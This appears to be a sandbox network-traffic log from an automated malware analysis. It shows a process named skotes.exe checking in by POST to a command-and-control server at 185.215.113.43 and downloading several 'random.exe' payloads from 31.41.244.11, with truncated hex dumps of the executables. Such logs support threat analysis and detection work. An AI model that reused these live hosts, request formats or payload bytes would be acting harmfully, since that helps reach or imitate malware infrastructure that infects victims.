baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1016279001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1016280001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042 [TRUNCATED]
Dec 16, 2024 21:02:08.473690033 CET	166	IN	Data Raw: 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 34 66 34 62 32 38 34 36 64 39 33 34 66 34 38 62 31 35 65 61 61 34 39 35 63 34 39 23 31 30 31 36 32 38 32 30 30 31 2b 2b 2b 62 35 39 33 37 63 31 61 39 39 64 Data Ascii: b4baed74c61395d7fac00b58987e8e4f4b2846d934f48b15eaa495c49#1016282001+++b5937c1a99d5f9df0b5dafc85062384760ac02b4ded8abeee1fbcd7393574df141e542404358d6d9fc1d#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49771	185.215.113.43	80	7624	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 21:02:13.870279074 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 32 33 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016235001&unit=246122658369
Dec 16, 2024 21:02:15.218044996 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 20:02:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49807	185.215.113.43	80	7624	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 21:02:28.623971939 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 32 34 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016247001&unit=246122658369
Dec 16, 2024 21:02:29.989132881 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 20:02:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49812	31.41.244.11	80	7624	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 21:02:30.146193981 CET	62	OUT	GET /files/burpin1/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 21:02:31.471647978 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 20:02:31 GMT Content-Type: application/octet-stream Content-Length: 4438776 Last-Modified: Tue, 10 Dec 2024 00:01:52 GMT Connection: keep-alive ETag: "675784f0-43baf8" Accept-Ranges: bytes Data Raw: 4d 5a 60 00 01 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 52 65 71 75 69 72 65 20 57 69 6e 64 6f 77 73 0d 0a 24 50 45 00 00 4c 01 04 00 ce 3f c3 4f 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 08 00 00 90 01 00 00 96 00 00 00 00 00 00 5f 94 01 00 00 10 00 00 00 a0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 80 02 00 00 02 00 00 e7 a4 44 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 84 c9 01 00 c8 00 00 00 00 30 02 00 10 4f 00 00 00 00 00 00 00 00 00 00 10 7b 43 00 e8 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 01 00 6c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ`@`!L!Require Windows$PEL?O_@D0O{C?l.text `.rdata;<@@.dataM@.rsrcO0P@@U`AS3;VWtf9bAt`APPPYnj'@uv=A6PP9^]v8^3hAPPPxAEE;FrP~Y6jtAt$DV%sAF8^jqA39`At@9D$tt$Ph5XAA3D$`\|$u@3pAt$D$t$`A/@t$PQ%`A3T$L$fAABBfuL$3f9t@f<Aut$TAL$%S\$VC;^tLW3
Dec 16, 2024 21:02:31.471716881 CET	1236	IN	Data Raw: c9 6a 02 5a 8b c3 f7 e2 0f 90 c1 f7 d9 0b c8 51 e8 94 80 01 00 8b f8 33 c0 39 46 08 59 7e 1d 39 46 04 7e 10 8b 0e 66 8b 0c 41 66 89 0c 47 40 3b 46 04 7c f0 ff 36 e8 68 80 01 00 59 8b 46 04 89 3e 66 83 24 47 00 89 5e 08 5f 5e 5b c2 04 00 56 8b f1 Data Ascii: jZQ39FY~9F~fAfG@;F\|6hYF>f$G^_^[Vv\IY^oUQQAuVjjEP5A\|At>E;Ew6rE;Es,jPYYtlAj@ AEPjh5XAA3D$tlA
Dec 16, 2024 21:02:31.471756935 CET	1236	IN	Data Raw: 3b f3 74 06 8b 06 56 ff 50 08 33 c0 40 eb 25 e8 a7 fe ff ff 8d 4d e0 8b f8 e8 bb 0e 01 00 8b 06 56 ff 50 08 8b c7 eb 0c 3b f3 74 06 8b 06 56 ff 50 08 33 c0 5e 5f 5b c9 c3 56 8b f1 c7 46 04 60 c3 41 00 83 66 08 00 c7 06 34 a5 41 00 c7 46 04 24 a5 Data Ascii: ;tVP3@%MVP;tVP3^_[VF`Af4AF$AfNf$N(^Uh$AuYYtEP#UPQ3hAudYYu@]Vv({F$YtPQvzvYtVP^l$
Dec 16, 2024 21:02:31.471793890 CET	672	IN	Data Raw: 7d c4 0f 84 d0 02 00 00 66 83 7d c4 08 0f 85 c5 02 00 00 ff 75 cc 8d 4d f0 e8 76 f8 ff ff 8d 45 f0 50 8d 46 10 50 8d 45 e4 50 8d 5e 28 e8 1f fc ff ff 83 c4 0c 50 8b cb e8 90 f8 ff ff ff 75 e4 e8 b6 76 01 00 39 7d 14 59 0f 85 6f 02 00 00 8b 46 0c Data Ascii: }f}uMvEPFPEP^(Puv9}YoFURjuf}f}PQ;EtMu{v}Y^f9}u~@-f}t jeVPMXuFvY,EF@FURjuPQ;Eu3f9}URjuF<F
Dec 16, 2024 21:02:31.471833944 CET	1236	IN	Data Raw: 8b 45 10 89 38 e9 fb fd ff ff 8b 3e ff 15 98 a1 41 00 50 6a 69 56 ff 57 20 e9 e5 fd ff ff 8b 45 10 89 38 ff 75 f0 e8 30 74 01 00 59 8d 4d c4 e8 31 07 01 00 33 c0 eb 1d 8b 06 6a 64 56 ff 50 1c ff 75 f0 8b f0 e8 11 74 01 00 59 8d 4d c4 e8 12 07 01 Data Ascii: E8>APjiVW E8u0tYM13jdVPutYM^_[Vjt$Au0A;tPA3^t$AtuV3@^<uA< t<tt<t33@UQEjEEPjEPjEEAPA
Dec 16, 2024 21:02:31.471870899 CET	1236	IN	Data Raw: 75 08 ff 15 9c a2 41 00 85 c0 0f 84 2d 01 00 00 68 f8 a5 41 00 8d 45 98 50 ff 15 48 a1 41 00 85 c0 0f 85 16 01 00 00 6a f0 ff 75 08 ff 15 7c a2 41 00 a8 0e 0f 84 03 01 00 00 8d 45 f8 50 ff 75 08 ff 15 80 a2 41 00 0f b7 c0 50 68 f0 a5 41 00 e8 87 Data Ascii: uA-hAEPHAju\|AEPuAPhA3;}uj@LAuSWRoVdAEPVW\A9uEPh4AVVuPAEPQWPAE;tfURuPQ9ut?uY
Dec 16, 2024 21:02:31.471910000 CET	1236	IN	Data Raw: 04 3b c2 53 57 7d 3d 33 d2 85 f6 7e 27 8d 34 00 8d 3c 02 3b 79 04 7d 1c 8b 7d 08 8b 19 8b 3f 66 8b 1c 1e 66 3b 1c 57 75 0b 8b 7d 08 42 46 46 3b 57 04 7c dc 8b 75 08 8b 76 04 3b d6 74 09 40 3b 41 04 7c c3 83 c8 ff 5f 5b 5e 5d c2 08 00 53 8b 5c 24 Data Ascii: ;SW}=3~'4<;y}}?ff;Wu}BFF;W\|uv;t@;A\|_[^]S\$VC;^t9WSVj39FY~9F~8@;F\|6,jYF>^_^[S\$VWy+qN;~0@~+3H0;}+Wp_^[QL$+T
Dec 16, 2024 21:02:31.471966028 CET	672	IN	Data Raw: c2 fb ff ff 8b 46 04 8b 0f 03 06 8a 11 88 10 40 41 84 d2 75 f6 8b 47 04 01 46 04 5f 8b c6 5e c2 04 00 56 57 8b 7c 24 0c 57 8b f1 e8 16 e7 ff ff 83 c7 0c 57 8d 4e 0c e8 0a e7 ff ff 5f 8b c6 5e c2 04 00 56 8b f1 8b 4c 24 08 8b 46 04 57 8b 7c 24 10 Data Ascii: F@AuGF_^VW\|$WWN_^VL$FW\|$9;~+~9PQ)~F_^UAS]Vu3;M~+u;uQM.HWMVM}3~M@;\|MEP7uWdY_
Dec 16, 2024 21:02:31.472007036 CET	1236	IN	Data Raw: 89 5d f0 eb 03 8b 7d 08 8b 07 8d 4d e4 51 b9 00 10 00 00 2b ce 51 8d 8c 35 e0 ef ff ff 51 57 ff 50 0c 85 c0 0f 85 ca 00 00 00 8b 45 e4 3b c3 0f 84 bf 00 00 00 03 f0 8d 85 e0 ef ff ff 33 ff 89 45 f8 38 5d ff 8b c6 74 3d 2b 45 e8 3b f8 77 60 ff 75 Data Ascii: ]}MQ+Q5QWPE;3E8]t=+E;w`uuubE:EtuMvGE+E;w#uuubuEEE+}V=]PP<A9]w}"M39Y
Dec 16, 2024 21:02:31.472043991 CET	1236	IN	Data Raw: 01 50 50 8b cf e8 97 f6 ff ff 50 ff 74 24 18 ff 15 c4 a2 41 00 8b 07 66 83 24 70 00 89 77 04 8b c7 5f 5e c3 55 8b ec 83 ec 74 53 56 8b 75 08 57 6a 40 8d 45 8c 50 56 ff 15 9c a2 41 00 85 c0 74 49 68 f8 a5 41 00 8d 45 8c 50 ff 15 48 a1 41 00 85 c0 Data Ascii: PPPt$Af$pw_^UtSVuWj@EPVAtIhAEPHAu6jV\|Au)EVPvjhAutu]Y3_^[VA3;EthAhAEPVYYVAhAE+ESSWuPE+EPuuhPhAh
Dec 16, 2024 21:02:31.592256069 CET	1236	IN	Data Raw: 04 46 89 75 fc 68 e9 fd 00 00 8d 45 e0 50 8d 45 bc 50 e8 e4 f4 ff ff 83 c4 0c 50 8d 4d b0 e8 46 db ff ff ff 75 bc e8 6c 59 01 00 8d 45 b0 50 e8 c5 f7 ff ff 59 59 68 c4 a6 41 00 ff 75 a4 ff 15 24 a1 41 00 85 c0 75 14 6a 3d ff 75 b0 e8 6e ed 00 00 Data Ascii: FuhEPEPPMFulYEPYYhAu$Auj=unYY39AAt&6AP6u4At9u9u Suu;tuHMEP?MM!iuX+uuuuW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	49838	185.215.113.43	80	7624	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 21:02:41.271840096 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 32 36 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016269001&unit=246122658369
Dec 16, 2024 21:02:42.464731932 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 20:02:42 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	49842	31.41.244.11	80	7624	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 21:02:42.591397047 CET	62	OUT	GET /files/unique3/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 21:02:43.922346115 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 20:02:43 GMT Content-Type: application/octet-stream Content-Length: 1996288 Last-Modified: Mon, 16 Dec 2024 18:23:01 GMT Connection: keep-alive ETag: "67607005-1e7600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cd d8 9a 7a 89 b9 f4 29 89 b9 f4 29 89 b9 f4 29 c2 c1 f7 28 82 b9 f4 29 c2 c1 f1 28 06 b9 f4 29 c2 c1 f0 28 9d b9 f4 29 9c c6 f1 28 af b9 f4 29 9c c6 f0 28 98 b9 f4 29 9c c6 f7 28 9d b9 f4 29 c2 c1 f5 28 8a b9 f4 29 89 b9 f5 29 da b9 f4 29 89 b9 f4 29 8b b9 f4 29 b3 39 f0 28 8a b9 f4 29 b3 39 0b 29 88 b9 f4 29 b3 39 f6 28 88 b9 f4 29 52 69 63 68 89 b9 f4 29 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 5f 7b 5f 64 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 25 00 7c 03 00 00 5e 03 00 00 00 01 00 00 70 4c 00 00 10 00 00 00 90 03 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$z)))()()()()()()()))))9()9))9()Rich)PEL_{_d%\|^pL@LpO@Vjl <@.rsrclL@.idata T@ p*V@swxylpaw`2X@tqtvygux`LP@.taggant0pL"T@
Dec 16, 2024 21:02:43.922483921 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 21:02:43.922501087 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 21:02:43.922554016 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 21:02:43.922645092 CET	1236	IN	Data Raw: 6f 3b f3 36 51 05 0a da ec 0e 01 5f cd 99 cf 4f 5a 8b 19 e1 c9 6c 0e ce ad 65 a0 1c d2 93 a4 ae 89 32 6f 4c a9 b7 26 39 8f 71 83 1f 1b 3d e2 0a fd 39 75 f1 67 ca 90 53 2c 9d 00 71 ea 7f 87 c3 38 e0 9e f0 82 51 d3 ef a5 88 df 52 41 4f c5 8c 4d f2 Data Ascii: o;6Q_OZle2oL&9q=9ugS,q8QRAOMSFWB86,L]aD^TmMnt)Iuhv3s>Z<`r*7fw7c;@q^i-\(CYa\e,4E.=+@3U@
Dec 16, 2024 21:02:43.922662020 CET	1236	IN	Data Raw: 9c c5 bd 32 df bc 17 6c 5e 8c a6 06 d5 aa 90 0f 0a 3d 01 90 ee 39 c8 c2 30 5e 86 40 25 ce 3a 04 18 3a 99 8e 87 93 25 f1 50 15 ca 81 38 0d 21 a5 89 1f 0c bf a3 db 6c b5 09 33 b9 44 e5 65 0d bc 34 c6 90 2b c8 f4 6e f7 60 e0 fd a4 8f 88 83 63 c8 a7 Data Ascii: 2l^=90^@%::%P8!l3De4+n`cWfyQL<tl-M4]T!=%P5\:mbM1<.f9{'#Q$m\|L^[sM~wlox
Dec 16, 2024 21:02:43.922678947 CET	1236	IN	Data Raw: f1 40 4c c3 1a 5e 73 e5 72 ce 8c 3e 64 43 98 f3 59 50 b8 30 ca a9 b3 a7 7e 65 d0 bb a0 6a e9 2b 3e 3f 96 25 61 39 91 6f 6b af 00 fa 89 a8 cc c3 43 0e f0 ee 60 94 90 4e 65 ea 00 06 a5 da 9f c2 9b 5e 0f 13 f1 d0 cc 8b 14 31 e7 9b 58 de 66 c3 14 5e Data Ascii: @L^sr>dCYP0~ej+>?%a9okC`Ne^1Xf^#ic^B_CKO%P#-Q?jgUU+@NX^6QboXZE}.eIj2 O>Q#`h:pTK'#}hlh
Dec 16, 2024 21:02:43.922692060 CET	108	IN	Data Raw: b2 7d 2d db 7b ef f1 eb d4 55 67 a5 af 4f 46 e5 1a c3 c8 da e9 99 a2 0d 7a 6a 7e 33 38 7b 4e 4d 65 0d 61 db 79 d8 a2 cc 6f 52 86 21 a4 7d a7 4c 78 b1 c5 73 88 27 ab af 06 cf 0a ee c8 ba af 3a 01 70 a5 06 4b 7e e8 55 8d 7d 2c e8 6b 9c 55 ad a8 74 Data Ascii: }-{UgOFzj~38{NMeayoR!}Lxs':pK~U},kUt{;?,X`
Dec 16, 2024 21:02:43.922708035 CET	1236	IN	Data Raw: 60 e3 a7 c3 8a b2 18 f9 c4 55 ac b6 0e 12 40 93 e0 e5 91 36 51 69 24 4a e6 0d 3f 82 7c fe 0b b3 74 6a 6a e9 08 19 b2 82 e1 d9 87 36 de 29 a2 6a 48 ca 96 66 d5 55 e1 78 ff 3c 40 99 ec be 33 37 51 11 12 28 cf 0d 8c dc 9b e4 0b b3 94 6b f1 c4 08 85 Data Ascii: `U@6Qi$J?\|tjj6)jHfUx<@37Q(k[NY<k[YU~'?Z-C7Q37U7XE!LkU{R?4F%9Z:qneLD+a%Q`^\|tTPLfjvp:ZXoRTERe4O1E!m;l
Dec 16, 2024 21:02:43.922954082 CET	224	IN	Data Raw: 69 0c 0c b3 e8 22 d3 91 09 51 98 f6 99 d9 87 33 05 ac 72 72 af 02 a6 1a cb d3 32 94 8f 39 84 47 e1 f2 f0 0a e3 0b e1 f0 f7 c5 90 76 8d 27 01 10 4d bc 22 c3 d0 5e de f9 f1 ce f3 3b 2f fa 97 c4 59 c6 d7 42 ca 63 09 51 4d 65 bd bb fe 26 74 2c f5 a6 Data Ascii: i"Q3rr29Gv'M"^;/YBcQMe&t,`&v^0{Z5FdMeL1'fw2;vQ,4WL3ib/?<uQ/vlQ``iMW!<<+
Dec 16, 2024 21:02:44.042649031 CET	1236	IN	Data Raw: c3 9c aa 0a 82 f7 fa f0 75 69 71 df d9 61 00 1f 64 05 22 c3 d0 5e 60 80 6e ce 3e 9e c1 d9 97 ec 71 20 17 dd ca e2 a8 b2 cf 7d 52 fa 6b fb 38 ad bc 67 6d df 78 7a c2 cd e5 45 82 5c b2 23 f9 da 3f d2 a2 50 4f 4f b3 87 1c 52 af a8 12 70 eb 10 4e 01 Data Ascii: uiqad"^`n>q }Rk8gmxzE\#?POORpNxanU89$\>QvfeL{2}Ct,jmU0p?f!7Qm?q/4Cb/G?jzU\|?6Qp,.Mw,56

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49858	185.215.113.43	80	7624	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 21:02:49.667188883 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 36 32 37 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1016274001&unit=246122658369
Dec 16, 2024 21:02:51.010905027 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 20:02:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49864	31.41.244.11	80	7624	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 16, 2024 21:02:51.132565975 CET	59	OUT	GET /files/fate/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 16, 2024 21:02:52.483623981 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 16 Dec 2024 20:02:52 GMT Content-Type: application/octet-stream Content-Length: 727552 Last-Modified: Wed, 11 Dec 2024 08:22:24 GMT Connection: keep-alive ETag: "67594bc0-b1a00" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 c0 24 58 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4e 01 00 00 a8 00 00 00 00 00 00 2c 36 00 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 0b 00 00 08 00 00 7c 7a 0b 00 03 00 40 83 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 6c ca 01 00 64 00 00 00 00 00 02 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 10 02 00 80 13 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 68 01 00 c0 00 00 00 00 00 00 00 00 00 00 00 34 cc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL$XgN,6@P\|z@ld8h4d.textAMN `.rdata<~`V@@.dataL@.rsrc@@.reloc@B.bss0@.bss@
Dec 16, 2024 21:02:52.483685017 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 16, 2024 21:02:52.483720064 CET	1236	IN	Data Raw: 89 c7 83 f8 0f 77 2c 90 89 7d c4 c7 45 c8 0f 00 00 00 57 ff 75 e0 8d 45 b4 50 e8 f4 36 00 00 83 c4 0c 01 ef 83 c7 b4 eb 77 66 2e 0f 1f 84 00 00 00 00 00 90 89 7d d8 83 cf 0f 83 ff 17 b9 16 00 00 00 0f 43 cf 81 ff ff 0f 00 00 c7 45 f0 01 00 00 00 Data Ascii: w,}EWuEP6wf.}CEMrA$PL#FfAP1u}}EEWuVx6E]5MMuEC]ry1tL1fDi[1i
Dec 16, 2024 21:02:52.483755112 CET	1236	IN	Data Raw: 00 e8 39 01 00 00 8b 45 e0 83 c4 04 eb 22 90 89 4d dc ff 15 c4 cc 41 00 8b 4d e0 90 89 4d dc 50 68 2d 9f 41 00 e8 15 01 00 00 8b 45 e0 83 c4 08 90 89 45 dc ff 75 d4 e8 39 6f 00 00 8b 75 e0 83 c4 04 90 0f b6 84 35 c4 fe ff ff 8b 55 d0 00 c2 0f b6 Data Ascii: 9E"MAMMPh-AEEu9ou5U5U5MU0BU9UuUEd0^_[]fUeE@EMPhAWEMj
Dec 16, 2024 21:02:52.483872890 CET	896	IN	Data Raw: 45 d4 89 c3 83 e3 fc 83 e0 03 31 ff 83 f8 01 74 1e 83 f8 02 74 0e 83 f8 03 75 23 90 0f be 7c 1a 02 c1 e7 10 90 0f be 44 1a 01 c1 e0 08 31 c7 90 0f be 04 1a 31 f8 69 c0 95 e9 d1 5b 31 c6 8b 45 d8 83 f8 10 72 43 8d 50 01 81 fa 00 10 00 00 72 2a 90 Data Ascii: E1ttu#\|D11i[1ErCPr*MA) U$ffff.ERP1i[1TWMAEEAEEuuVHAuVH
Dec 16, 2024 21:02:52.483922005 CET	1236	IN	Data Raw: 68 d0 20 40 00 6a 00 6a 00 e8 cc 51 00 00 83 c4 18 90 8b 4d e0 89 01 85 c0 0f 84 fd 00 00 00 90 c7 45 d8 00 00 00 00 90 8b 45 d4 8b 30 85 f6 0f 84 fb 00 00 00 e8 65 10 00 00 39 c6 0f 84 fd 00 00 00 90 6a 00 8b 75 e0 ff 76 04 ff 36 e8 fe 0f 00 00 Data Ascii: h @jjQMEE0e9juv6FuAEj@@EMEQjPh"@jj-QEEu9juue
Dec 16, 2024 21:02:52.484103918 CET	224	IN	Data Raw: e8 dc 00 00 00 83 c4 04 83 c4 04 5d c3 cc cc cc cc cc cc cc cc cc cc b8 28 d4 41 00 e9 9d 1f 00 00 cc cc cc cc cc cc b8 a8 d4 41 00 e9 8d 1f 00 00 cc cc cc cc cc cc b8 08 d5 41 00 e9 7d 1f 00 00 cc cc cc cc cc cc b8 64 d5 41 00 e9 6d 1f 00 00 cc Data Ascii: ](AAA}dAmA]tAMA=A-<AhAUugQYtuaYt]}
Dec 16, 2024 21:02:52.484133005 CET	1236	IN	Data Raw: 00 e9 67 61 00 00 55 8b ec ff 75 08 e8 f0 ff ff ff 59 5d c3 55 8b ec f6 45 08 01 56 8b f1 c7 06 78 61 41 00 74 0a 6a 0c 56 e8 d8 ff ff ff 59 59 8b c6 5e 5d c2 04 00 55 8b ec 5d e9 91 ff ff ff e9 bc ff ff ff 3b 0d 00 e6 41 00 75 01 c3 e9 bb 0a 00 Data Ascii: gaUuY]UEVxaAtjVYY^]U];AuUQQEVEEEVD`A"bRP#!YY^UVFD`A `PEP YY^]AD`APB!YUVuLaA^]aaA A
Dec 16, 2024 21:02:52.484169006 CET	1236	IN	Data Raw: 08 56 8b 75 0c 8b 42 04 8b 4e 04 8b 40 04 3b 41 04 75 0a 8b 02 3b 06 75 04 b0 01 eb 02 32 c0 5e 5d c3 6a 24 b8 25 5c 41 00 e8 bd 07 00 00 8b 75 08 89 75 d4 83 65 fc 00 83 7d 24 00 74 0f 6a 02 68 6c af 41 00 8d 4d 14 e8 b2 fd ff ff 8d 45 d8 50 8d Data Ascii: VuBN@;Au;u2^]j$%\Auue}$tjhlAMEPMzxHEvQPMMEPMU A3EEVuuPhuEuPW$PMMUNMaA3
Dec 16, 2024 21:02:52.484205008 CET	1236	IN	Data Raw: 64 a1 00 00 00 00 50 51 53 56 57 a1 00 e6 41 00 33 c5 50 8d 45 f4 64 a3 00 00 00 00 be 68 f0 41 00 e8 1d 01 00 00 b9 4c e6 41 00 89 45 f0 e8 84 00 00 00 8b 8e 90 01 00 00 33 db 85 c9 74 4e 8d 7e 08 83 fb 14 7d 46 83 3f 00 8b c1 74 35 8b 4d f0 39 Data Ascii: dPQSVWA3PEdhALAE3tN~}F?t5M9Ou-Gt7wZ'YYCuuhLAYMdY_^[VVYuuj^jy,uA,2
